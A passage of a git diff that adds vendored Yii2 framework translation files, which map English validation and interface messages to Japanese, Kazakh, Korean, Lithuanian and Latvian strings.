'このアクションの実行は許可されていません。', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => '最大で {limit} 個のファイルをアップロードできます。', + 'the input value' => '入力値', + '{attribute} "{value}" has already been taken.' => '{attribute}で "{value}" は既に使われています。', + '{attribute} cannot be blank.' => '{attribute}は空白ではいけません。', + '{attribute} is invalid.' => '{attribute}は無効です。', + '{attribute} is not a valid URL.' => '{attribute}は有効な URL 書式ではありません。', + '{attribute} is not a valid email address.' => '{attribute}は有効なメールアドレス書式ではありません。', + '{attribute} must be "{requiredValue}".' => '{attribute}は{value}である必要があります。', + '{attribute} must be a number.' => '{attribute}は数字にしてください。', + '{attribute} must be a string.' => '{attribute}は文字列にしてください。', + '{attribute} must be an integer.' => '{attribute}は整数にしてください。', + '{attribute} must be either "{true}" or "{false}".' => '{attribute}は{true}か{false}のいずれかである必要があります。', + '{attribute} must be greater than "{compareValue}".' => '{attribute}は"{compareValue}"より大きい必要があります。', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute}は"{compareValue}"以上である必要があります。', + '{attribute} must be less than "{compareValue}".' => '{attribute}は"{compareValue}"より小さい必要があります。', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute}は"{compareValue}"以下である必要があります。', + '{attribute} must be no greater than {max}.' => '{attribute}は"{compareValue}"より大きくてはいけません。', + '{attribute} must be no less than {min}.' => '{attribute}は"{compareValue}"より小さくてはいけません。', + '{attribute} must be repeated exactly.' => '{attribute}は正確に繰り返してください。', + '{attribute} must not be equal to "{compareValue}".' => '{attribute}は"{compareValue}"ではいけません。', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute}は少なくとも{min}文字なければなりません。', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute}は多くとも{max}文字なければなりません。', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute}は{length}文字でなければなりません。', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/kk/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/kk/yii.php new file mode 100644 index 00000000..d865224a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/kk/yii.php @@ -0,0 +1,79 @@ + '(тапсырылған жок)', + 'An internal server error occurred.' => 'Сервердің ішкі қатесі туды.', + 'Delete' => 'Жою', + 'Error' => 'Қате', + 'File upload failed.' => 'Файлды жүктеу сәті болмады', + 'Home' => 'Басы', + 'Invalid data received for parameter "{param}".' => 'Параметрдің мағынасы дұрыс емес"{param}".', + 'Login Required' => 'Кіруді сұрайды.', + 'Missing required arguments: {params}' => 'Қажетті дәлелдер жоқ: {params}', + 'Missing required parameters: {params}' => 'Қажетті параметрлер жоқ: {params}', + 'No' => 'Жоқ', + 'No help for unknown command "{command}".' => 'Анықтама белгісіз команда үшін ақиық "{command}".', + 'No help for unknown sub-command "{command}".' => 'Анықтама белгісіз субкоманда үшін ақиық "{command}".', + 'No results found.' => 'Ештене табылған жок.', + 'Only files with these extensions are allowed: {extensions}.' => 'Файлды жүктеу тек қана осы аумақтармен: {extensions}.', + 'Page not found.' => 'Парақ табылған жок.', + 'Please fix the following errors:' => 'Мына қателерді түзеніз:', + 'Please upload a file.' => 'Файлды жүктеу.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Жазбалар көрсетілген {begin, number}-{end, number} дан {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Файл «{file}» сурет емес.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» көлемі өте үлкен. Өлшемі осыдан аспау керек,неғұрлым {limit, number} {limit, plural, one{байт} few{байтар} many{байтар} other{байтар}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Файл «{file}» көлемі өте кіші. Өлшемі осыдан астам болу керек,неғұрлым {limit, number} {limit, plural, one{байт} few{байтар} many{байтар} other{байтар}}.', + 'The format of {attribute} is invalid.' => 'Форматың мағынасы дұрыс емес «{attribute}».', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» өте үлкен. Ұзындығы осыдан аспау керек,неғұрлым {limit, number} {limit, plural, one{пиксель} few{пиксельдер} many{пиксельдер} other{пиксельдер}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» өте үлкен. Ені осыдан аспау керек,неғұрлым {limit, number} {limit, plural, one{пиксель} few{пиксельдер} many{пиксельдер} other{пиксельдер}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» өте кіші. Ұзындығы осыдан астам болу керек,неғұрлым limit, number} {limit, plural, one{пиксель} few{пиксельдер} many{пиксельдер} other{пиксельдер}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Файл «{file}» өте кіші. Ені осыдан астам болу керек,неғұрлым {limit, number} {limit, plural, one{пиксель} few{пиксельдер} many{пиксельдер} other{пиксельдер}}.', + 'The verification code is incorrect.' => 'Тексеріс коды қате.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Барі {count, number} {count, plural, one{жазба} few{жазбалар} many{жазбалар} other{жазбалар}}.', + 'Unable to verify your data submission.' => 'Берілген мәліметердің тексеру сәті болмады.', + 'Unknown command "{command}".' => 'Белгісіз команда "{command}".', + 'Unknown option: --{name}' => 'Белгісіз опция: --{name}', + 'Update' => 'Жаңалау', + 'View' => 'Көру', + 'Yes' => 'Я', + 'You are not allowed to perform this action.' => 'Сізге адал әрекет жасауға болмайды', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Сіз осыдан жүктеуге астам {limit, number} {limit, plural, one{файла} few{файлдар} many{файлдар} other{файлдар}}.', + 'the input value' => 'кіргізілген мағыналар', + '{attribute} "{value}" has already been taken.' => '{attribute} «{value}» Бұл бос емес.', + '{attribute} cannot be blank.' => 'Толтыруға қажет «{attribute}».', + '{attribute} is invalid.' => 'Мағына «{attribute}» дүрыс емес.', + '{attribute} is not a valid URL.' => 'Мағына «{attribute}» дұрыс URL емес.', + '{attribute} is not a valid email address.' => 'Мағына «{attribute}» дұрыс email адрес емес.', + '{attribute} must be "{requiredValue}".' => 'Мағына «{attribute}» тең болу керек «{requiredValue}».', + '{attribute} must be a number.' => 'Мағына «{attribute}» сан болу керек.', + '{attribute} must be a string.' => 'Мағына «{attribute}» әріп болу керек.', + '{attribute} must be an integer.' => 'Мағына «{attribute}» бүтін сан болу керек.', + '{attribute} must be either "{true}" or "{false}".' => 'Мағына «{attribute}» тең болу керек «{true}» немесе «{false}».', + '{attribute} must be greater than "{compareValue}".' => 'Мағына «{attribute}» мағынасынан үлкен болу керек «{compareValue}».', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Мағына «{attribute}» үлкен болу керек немесе мағынасынан тең болу керек «{compareValue}».', + '{attribute} must be less than "{compareValue}".' => 'Мағына «{attribute}» мағынасынан кіші болу керек «{compareValue}».', + '{attribute} must be less than or equal to "{compareValue}".' => 'Мағына «{attribute}» кіші болу керек немесе мағынасынан тең болу керек «{compareValue}».', + '{attribute} must be no greater than {max}.' => 'Мағына «{attribute}» аспау керек {max}.', + '{attribute} must be no less than {min}.' => 'Мағына «{attribute}» көп болу керек {min}.', + '{attribute} must be repeated exactly.' => 'Мағына «{attribute}» дәлме-дәл қайталану керек.', + '{attribute} must not be equal to "{compareValue}".' => 'Мағына «{attribute}» тең болмау керек «{compareValue}».', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Мағына «{attribute}» минимум болу керек {min, number} {min, plural, one{рәміз} few{рәміздер} many{рәміздер} other{рәміздер}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Мағына «{attribute}» өте үлкен болу керек {max, number} {max, plural, one{рәміз} few{рәміздер} many{рәміздер} other{рәміздер}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Мағынада «{attribute}» болу керек {length, number} {length, plural, one{рәміз} few{рәміздер} many{рәміздер} other{рәміздер}}.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/ko/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/ko/yii.php new file mode 100644 index 00000000..1c11d05a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/ko/yii.php @@ -0,0 +1,79 @@ + '(설정되어있지않습니다)', + 'An internal server error occurred.' => '서버 오류가 발생하였습니다.', + 'Delete' => '삭제', + 'Error' => '오류', + 'File upload failed.' => '파일 업로드 실패하였습니다.', + 'Home' => '홈', + 'Invalid data received for parameter "{param}".' => '매개변수"{param}"를 위한 데이터가 잘못된 데이터입니다.', + 'Login Required' => '로그인이 필요합니다.', + 'Missing required arguments: {params}' => '필요한 인수가 없습니다: {params}', + 'Missing required parameters: {params}' => '필요한 매개변수가 없습니다: {params}', + 'No' => '아니오', + 'No help for unknown command "{command}".' => '알 수 없는 명령 "{command}"에 대한 도움말이 없습니다.', + 'No help for unknown sub-command "{command}".' => '알 수 없는 하위명령 "{command}"에 대한 도움말이 없습니다.', + 'No results found.' => '결과가 없습니다.', + 'Only files with these extensions are allowed: {extensions}.' => '다음의 확장명을 가진 파일만 허용됩니다: {extensions}', + 'Page not found.' => '페이지를 찾을 수 없습니다.', + 'Please fix the following errors:' => '다음 오류를 수정하십시오:', + 'Please upload a file.' => '파일을 업로드하십시오.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => '{totalCount} 중 {begin} 에서 {end} 까지 표시하고 있습니다.', + 'The file "{file}" is not an image.' => '파일 "{file}"은 이미지 파일이 아닙니다.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => '파일 "{file}"는 크기가 너무 큽니다. 파일 크기는 {limit} 바이트를 초과할 수 없습니다.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => '파일 "{file}"는 크기가 너무 작습니다. 크기는 {limit} 바이트 보다 작을 수 없습니다.', + 'The format of {attribute} is invalid.' => '{attribute}의 형식이 올바르지 않습니다.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '이미지 "{file}"가 너무 큽니다. 높이는 {limit} 보다 클 수 없습니다.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '이미지 "{file}"가 너무 큽니다. 넓이는 {limit} 보다 클 수 없습니다.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '이미지 "{file}"가 너무 작습니다. 높이는 {limit} 보다 작을 수 없습니다.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => '이미지 "{file}"가 너무 작습니다. 넒이는 {limit} 보다 작을 수 없습니다.', + 'The verification code is incorrect.' => '확인코드가 올바르지않습니다.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => '모두 {count} 개', + 'Unable to verify your data submission.' => '데이터 전송을 확인하지 못했습니다.', + 'Unknown command "{command}".' => '알 수 없는 명령 "{command}".', + 'Unknown option: --{name}' => '알 수 없는 옵션: --{name}', + 'Update' => '갱신', + 'View' => '보기', + 'Yes' => '예', + 'You are not allowed to perform this action.' => '이 작업의 실행을 허가받지못하였습니다.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => '최대 {limit} 개의 파일을 업로드할 수 있습니다.', + 'the input value' => '입력 값', + '{attribute} "{value}" has already been taken.' => '{attribute}에 "{value}"이 이미 사용되고 있습니다.', + '{attribute} cannot be blank.' => '{attribute}는 공백일 수 없습니다.', + '{attribute} is invalid.' => '{attribute}가 잘못되었습니다.', + '{attribute} is not a valid URL.' => '{attribute}는 올바른 URL 형식이 아닙니다.', + '{attribute} is not a valid email address.' => '{attribute}는 올바른 이메일 주소 형식이 아닙니다.', + '{attribute} must be "{requiredValue}".' => '{attribute}는 {value}이어야 합니다.', + '{attribute} must be a number.' => '{attribute}는 반드시 숫자이어야 합니다.', + '{attribute} must be a string.' => '{attribute}는 반드시 문자이어야 합니다.', + '{attribute} must be an integer.' => '{attribute}는 반드시 정수이어야 합니다.', + '{attribute} must be either "{true}" or "{false}".' => '{attribute}는 {true} 또는 {false} 이어야 합니다.', + '{attribute} must be greater than "{compareValue}".' => '{attribute}는 "{compareValue}" 보다 커야 합니다.', + '{attribute} must be greater than or equal to "{compareValue}".' => '{attribute}는 "{compareValue}" 보다 크거나 같아야 합니다.', + '{attribute} must be less than "{compareValue}".' => '{attribute}는 "{compareValue}" 보다 작아야 합니다.', + '{attribute} must be less than or equal to "{compareValue}".' => '{attribute}는 "{compareValue}" 보다 작거나 같아야 합니다.', + '{attribute} must be no greater than {max}.' => '{attribute}는 "{compareValue}" 보다 클 수 없습니다.', + '{attribute} must be no less than {min}.' => '{attribute}는 "{compareValue}" 보다 작을 수 없습니다.', + '{attribute} must be repeated exactly.' => '{attribute}는 정확하게 반복합니다.', + '{attribute} must not be equal to "{compareValue}".' => '{attribute}는 "{compareValue}"와 같을 수 없습니다.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => '{attribute}는 최소 {min}자 이어야합니다.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => '{attribute}는 최대 {max}자 이어야합니다.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => '{attribute}는 {length}자 이어야합니다.', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/lt/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/lt/yii.php new file mode 100644 index 00000000..b33f9877 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/lt/yii.php @@ -0,0 +1,106 @@ + '(nenustatyta)', + 'An internal server error occurred.' => 'Įvyko vidinė serverio klaida', + 'Are you sure you want to delete this item?' => 'Ar tikrai norite ištrinti šį elementą?', + 'Delete' => 'Ištrinti', + 'Error' => 'Klaida', + 'File upload failed.' => 'Nepavyko įkelti failo.', + 'Home' => 'Pradžia', + 'Invalid data received for parameter "{param}".' => 'Gauti neteisingi "{param}" parametro duomenys.', + 'Login Required' => 'Būtina prisijungti', + 'Missing required arguments: {params}' => 'Trūksta privalomų argumentų: {params}', + 'Missing required parameters: {params}' => 'Trūksta privalomų parametrų: {params}', + 'No' => 'Ne', + 'No help for unknown command "{command}".' => 'Nėra informacijos apie nežinomą "{command}" komandą.', + 'No help for unknown sub-command "{command}".' => 'Nėra informacijos apie nežinomą "{command}" sub komandą', + 'No results found.' => 'Nerasta rezultatų.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Leidžiama įkelti tik šių MIME tipų failus: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Leidžiama įkelti failus tik su šiais plėtiniais: {extensions}.', + 'Page not found.' => 'Puslapis nerastas.', + 'Please fix the following errors:' => 'Prašytume ištaisyti nurodytas klaidas:', + 'Please upload a file.' => 'Prašome įkelti failą.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Rodomi rezultatai {begin, number}-{end, number}{totalCount, number}.', + 'The file "{file}" is not an image.' => 'Failas „{file}“ nėra paveikslėlis.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Failas „{file}“ yra per didelis. Dydis negali viršyti {limit, number} {limit, plural, one{baito} few{baitų} other{baitų}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Failas „{file}“ yra per mažas. Dydis negali būti mažesnis už {limit, number} {limit, plural, one{baitą} few{baitus} other{baitų}}.', + 'The format of {attribute} is invalid.' => 'Atributo „{attribute}“ formatas yra netinkamas.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Paveikslėlis „{file}“ yra per didelis. Aukštis negali viršyti {limit, number} {limit, plural, one{taško} few{taškų} other{taškų}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Paveikslėlis „{file}“ yra per didelis. Plotis negali viršyti {limit, number} {limit, plural, one{taško} few{taškų} other{taškų}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Paveikslėlis „{file}“ yra per mažas. Aukštis turi viršyti {limit, number} {limit, plural, one{tašką} few{taškus} other{taškų}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Paveikslėlis „{file}“ yra per mažas. Plotis turi viršyti {limit, number} {limit, plural, one{tašką} few{taškus} other{taškų}}.', + 'The requested view "{name}" was not found.' => 'Nerastas „{name}“ rodinys', + 'The verification code is incorrect.' => 'Neteisingas patikrinimo kodas.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Iš viso {count, number} {count, plural, one{elementas} few{elementai} other{elementų}}.', + 'Unable to verify your data submission.' => 'Neįmanoma patikrinti jūsų siunčiamų duomenų.', + 'Unknown command "{command}".' => 'Nežinoma komanda "{command}".', + 'Unknown option: --{name}' => 'Nežinomas pasirinkimas: --{name}', + 'Update' => 'Atnaujinti', + 'View' => 'Peržiūrėti', + 'Yes' => 'Taip', + 'You are not allowed to perform this action.' => 'Jums neleidžiama atlikti šio veiksmo.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Leidžiama įkelti ne daugiau nei {limit, number} {limit, plural, one{failą} few{failus} other{failų}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'po {delta, plural, =1{dienos} one{# dienos} other{# dienų}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'po {delta, plural, =1{minutės} one{# minutės} other{# minučių}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'po {delta, plural, =1{mėnesio} one{# mėnesio} other{# mėnesių}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'po {delta, plural, =1{sekundės} one{# sekundės} other{# sekundžių}}', + 'in {delta, plural, =1{a year} other{# years}}' => 'po {delta, plural, =1{metų} other{# metų}}', + 'in {delta, plural, =1{an hour} other{# hours}}' => 'po {delta, plural, =1{valandos} one{# valandos} other{# valandų}}', + 'the input value' => 'įvesties reikšmė', + '{attribute} "{value}" has already been taken.' => '{attribute} reikšmė „{value}“ jau naudojama.', + '{attribute} cannot be blank.' => '„{attribute}“ negali būti tuščias.', + '{attribute} is invalid.' => '„{attribute}“ reikšmė netinkama.', + '{attribute} is not a valid URL.' => '„{attribute}“ įvestas netinkamas URL.', + '{attribute} is not a valid email address.' => '„{attribute}“ įvestas netinkamas el. pašto adresas.', + '{attribute} must be "{requiredValue}".' => '„{attribute}“ privalo būti „{requiredValue}“.', + '{attribute} must be a number.' => '„{attribute}“ privalo būti skaičius.', + '{attribute} must be a string.' => '„{attribute}“ privalo būti eilutė.', + '{attribute} must be an integer.' => '„{attribute}“ privalo būti sveikas skaičius.', + '{attribute} must be either "{true}" or "{false}".' => '„{attribute}“ privalo būti „{true}“ arba „{false}“.', + '{attribute} must be greater than "{compareValue}".' => 'Laukelio „{attribute}“ reikšmė privalo būti didesnė nei „{compareValue}“.', + '{attribute} must be greater than or equal to "{compareValue}".' => 'Laukelio „{attribute}“ reikšmė privalo būti didesnė arba lygi „{compareValue}“.', + '{attribute} must be less than "{compareValue}".' => 'Laukelio „{attribute}“ reikšmė privalo būti mažesnė nei „{compareValue}“.', + '{attribute} must be less than or equal to "{compareValue}".' => 'Laukelio „{attribute}“ reikšmė privalo būti mažesnė arba lygi „{compareValue}“.', + '{attribute} must be no greater than {max}.' => 'Laukelio „{attribute}“ reikšmė privalo būti ne didesnė nei {max}.', + '{attribute} must be no less than {min}.' => 'Laukelio „{attribute}“ reikšmė privalo būti ne mažesnė nei {min}.', + '{attribute} must be repeated exactly.' => 'Laukelio „{attribute}“ reikšmė privalo būti pakartota tiksliai.', + '{attribute} must not be equal to "{compareValue}".' => 'Laukelio „{attribute}“ reikšmė negali būti lygi „{compareValue}“.', + '{attribute} should contain at least {min, number} {min, plural, one{character} other{characters}}.' => 'Laukelio „{attribute}“ reikšmę privalo sudaryti mažiausiai {min, number} {min, plural, one{ženklas} few{ženklai} other{ženklų}}.', + '{attribute} should contain at most {max, number} {max, plural, one{character} other{characters}}.' => 'Laukelio „{attribute}“ reikšmę privalo sudaryti daugiausiai {max, number} {max, plural, one{ženklas} few{ženklai} other{ženklų}}.', + '{attribute} should contain {length, number} {length, plural, one{character} other{characters}}.' => 'Laukelio „{attribute}“ reikšmę privalo sudaryti {length, number} {length, plural, one{ženklas} few{ženklai} other{ženklų}}.', + '{delta, plural, =1{a day} other{# days}} ago' => 'prieš {delta, plural, =1{dieną} one{# dieną} few{# dienas} other{# dienų}}', + '{delta, plural, =1{a minute} other{# minutes}} ago' => 'prieš {delta, plural, =1{minutę} one{# minutę} few{# minutes} other{# minučių}}', + '{delta, plural, =1{a month} other{# months}} ago' => 'prieš {delta, plural, =1{mėnesį} one{# mėnesį} few{# mėnesius} other{# mėnesių}}', + '{delta, plural, =1{a second} other{# seconds}} ago' => 'prieš {delta, plural, =1{sekundę} one{# sekundę} few{# sekundes} other{# sekundžių}}', + '{delta, plural, =1{a year} other{# years}} ago' => 'prieš {delta, plural, =1{metus} one{# metus} few{# metus} other{# metų}}', + '{delta, plural, =1{an hour} other{# hours}} ago' => 'prieš {delta, plural, =1{valandą} one{# valandą} few{# valandas} other{# valandų}}', + '{n, plural, =1{# byte} other{# bytes}}' => '{n, number} {n, plural, one{baitas} few{baitai} other{baitų}}', + '{n, plural, =1{# gigabyte} other{# gigabytes}}' => '{n, number} giga{n, plural, one{baitas} few{baitai} other{baitų}}', + '{n, plural, =1{# kilobyte} other{# kilobytes}}' => '{n, number} kilo{n, plural, one{baitas} few{baitai} other{baitų}}', + '{n, plural, =1{# megabyte} other{# megabytes}}' => '{n, number} mega{n, plural, one{baitas} few{baitai} other{baitų}}', + '{n, plural, =1{# petabyte} other{# petabytes}}' => '{n, number} peta{n, plural, one{baitas} few{baitai} other{baitų}}', + '{n, plural, =1{# terabyte} other{# terabytes}}' => '{n, number} tera{n, plural, one{baitas} few{baitai} other{baitų}}', + '{n} B' => '{n} B', + '{n} GB' => '{n} GB', + '{n} KB' => '{n} KB', + '{n} MB' => '{n} MB', + '{n} PB' => '{n} PB', + '{n} TB' => '{n} TB', +]; diff --git a/php/yii2/basic/vendor/yiisoft/yii2/messages/lv/yii.php b/php/yii2/basic/vendor/yiisoft/yii2/messages/lv/yii.php new file mode 100644 index 00000000..fba82ef9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/messages/lv/yii.php @@ -0,0 +1,116 @@ + '{nFormatted} B', + '{nFormatted} GB' => '{nFormatted} Gb', + '{nFormatted} GiB' => '{nFormatted} GiB', + '{nFormatted} KB' => '{nFormatted} KB', + '{nFormatted} KiB' => '{nFormatted} KiB', + '{nFormatted} MB' => '{nFormatted} MB', + '{nFormatted} MiB' => '{nFormatted} MiB', + '{nFormatted} PB' => '{nFormatted} PB', + '{nFormatted} PiB' => '{nFormatted} PiB', + '{nFormatted} TB' => '{nFormatted} TB', + '{nFormatted} TiB' => '{nFormatted} TiB', + '{nFormatted} {n, plural, =1{byte} other{bytes}}' => '{nFormatted} {n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{gibibyte} other{gibibytes}}' => '{nFormatted} gibi{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{gigabyte} other{gigabytes}}' => '{nFormatted} giga{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{kibibyte} other{kibibytes}}' => '{nFormatted} kibi{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{kilobyte} other{kilobytes}}' => '{nFormatted} kilo{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{mebibyte} other{mebibytes}}' => '{nFormatted} mebi{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{megabyte} other{megabytes}}' => '{nFormatted} mega{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{pebibyte} other{pebibytes}}' => '{nFormatted} pebi{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{petabyte} other{petabytes}}' => '{nFormatted} peta{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{tebibyte} other{tebibytes}}' => '{nFormatted} tebi{n, plural, zero{baitu} one{baits} other{baiti}}', + '{nFormatted} {n, plural, =1{terabyte} other{terabytes}}' => '{nFormatted} tera{n, plural, zero{baitu} one{baits} other{baiti}}', + '(not set)' => '(nav uzstādīts)', + 'An internal server error occurred.' => 'Notika servera iekšēja kļūda.', + 'Are you sure you want to delete this item?' => 'Vai jūs esat pārliecināti, ka vēlaties nodzēst šo elementu?', + 'Delete' => 'Dzēst', + 'Error' => 'Kļūda', + 'File upload failed.' => 'Neizdevās augšupielādēt failu.', + 'Home' => 'Galvenā', + 'Invalid data received for parameter "{param}".' => 'Tika saņemta nepareiza vērtība parametram "{param}".', + 'Login Required' => 'Nepieciešama autorizācija.', + 'Missing required arguments: {params}' => 'Trūkst nepieciešamos argumentus: {params}', + 'Missing required parameters: {params}' => 'Trūkst nepieciešamos parametrus: {params}', + 'No' => 'Nē', + 'No help for unknown command "{command}".' => 'Palīdzība nezināmai komandai "{command}" nav pieejama.', + 'No help for unknown sub-command "{command}".' => 'Palīdzība nezināmai sub-komandai "{command}" nav pieejama', + 'No results found.' => 'Nekas nav atrasts.', + 'Only files with these MIME types are allowed: {mimeTypes}.' => 'Ir atļauts augšupielādēt failus tikai ar sekojošiem MIME-tipiem: {mimeTypes}.', + 'Only files with these extensions are allowed: {extensions}.' => 'Ir atļauts augšupielādēt failus tikai ar sekojošiem paplašinājumiem: {extensions}.', + 'Page not found.' => 'Pieprasīta lapa netika atrasta.', + 'Please fix the following errors:' => 'Nepieciešams izlabot sekojošas kļūdas:', + 'Please upload a file.' => 'Lūdzu, augšupielādiet failu.', + 'Showing {begin, number}-{end, number} of {totalCount, number} {totalCount, plural, one{item} other{items}}.' => 'Tiek rādīti ieraksti {begin, number}-{end, number} no {totalCount, number}.', + 'The file "{file}" is not an image.' => 'Fails „{file}” nav uzskatīts par attēlu.', + 'The file "{file}" is too big. Its size cannot exceed {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fails „{file}” pārsniedz pieļaujamo ierobežojumu. Izmēram nedrīkst pārsniegt {limit, number} {limit, plural, one{baitu} other{baitus}}.', + 'The file "{file}" is too small. Its size cannot be smaller than {limit, number} {limit, plural, one{byte} other{bytes}}.' => 'Fails „{file}” ir pārāk mazs. Izmēram ir jābūt vairāk par {limit, number} {limit, plural, one{baitu} other{baitiem}}.', + 'The format of {attribute} is invalid.' => 'Vērtībai „{attribute}” ir nepareizs formāts.', + 'The image "{file}" is too large. The height cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Attēls „{file}” ir pārāk liels. Augstumam ir jābūt mazākam par {limit, number} {limit, plural, one{pikseļi} other{pikseļiem}}.', + 'The image "{file}" is too large. The width cannot be larger than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Attēls „{file}” ir pārāk liels. Platumam ir jābūt mazākam par {limit, number} {limit, plural, one{pikseļi} other{pikseļiem}}.', + 'The image "{file}" is too small. The height cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Attēls „{file}” ir pārāk mazs. Augstumam ir jābūt lielākam par {limit, number} {limit, plural, one{pikseļi} other{pikseļiem}}.', + 'The image "{file}" is too small. The width cannot be smaller than {limit, number} {limit, plural, one{pixel} other{pixels}}.' => 'Attēls „{file}” ir pārāk mazs. Platumam ir jābūt lielākam par {limit, number} {limit, plural, one{pikseļi} other{pikseļiem}}.', + 'The requested view "{name}" was not found.' => 'Pieprasīts priekšstata fails „{name}” nav atrasts.', + 'The verification code is incorrect.' => 'Nepareizs pārbaudes kods.', + 'Total {count, number} {count, plural, one{item} other{items}}.' => 'Kopā {count, number} {count, plural, zero{ierakstu} one{ieraksts} other{ieraksti}}.', + 'Unable to verify your data submission.' => 'Neizdevās pārbaudīt nosūtītos datus.', + 'Unknown command "{command}".' => 'Nezināma komanda "{command}".', + 'Unknown option: --{name}' => 'Nezināma opcija: --{name}', + 'Update' => 'Labot', + 'View' => 'Skatīties', + 'Yes' => 'Jā', + 'You are not allowed to perform this action.' => 'Jūs neesat autorizēts veikt šo darbību.', + 'You can upload at most {limit, number} {limit, plural, one{file} other{files}}.' => 'Jūs nevarat augšupielādēt vairāk par {limit, number} {limit, plural, one{failu} other{failiem}}.', + 'in {delta, plural, =1{a day} other{# days}}' => 'pēc {delta, plural, =1{dienas} one{#. dienas} other{#. dienām}}', + 'in {delta, plural, =1{a minute} other{# minutes}}' => 'pēc {delta, plural, =1{minūtes} one{#. minūtes} other{#. minūtēm}}', + 'in {delta, plural, =1{a month} other{# months}}' => 'pēc {delta, plural, =1{mēneša} one{#. mēneša} other{# mēnešiem}}', + 'in {delta, plural, =1{a second} other{# seconds}}' => 'pēc {delta, plural, =1{sekundes} one{#. sekundes} other{#. 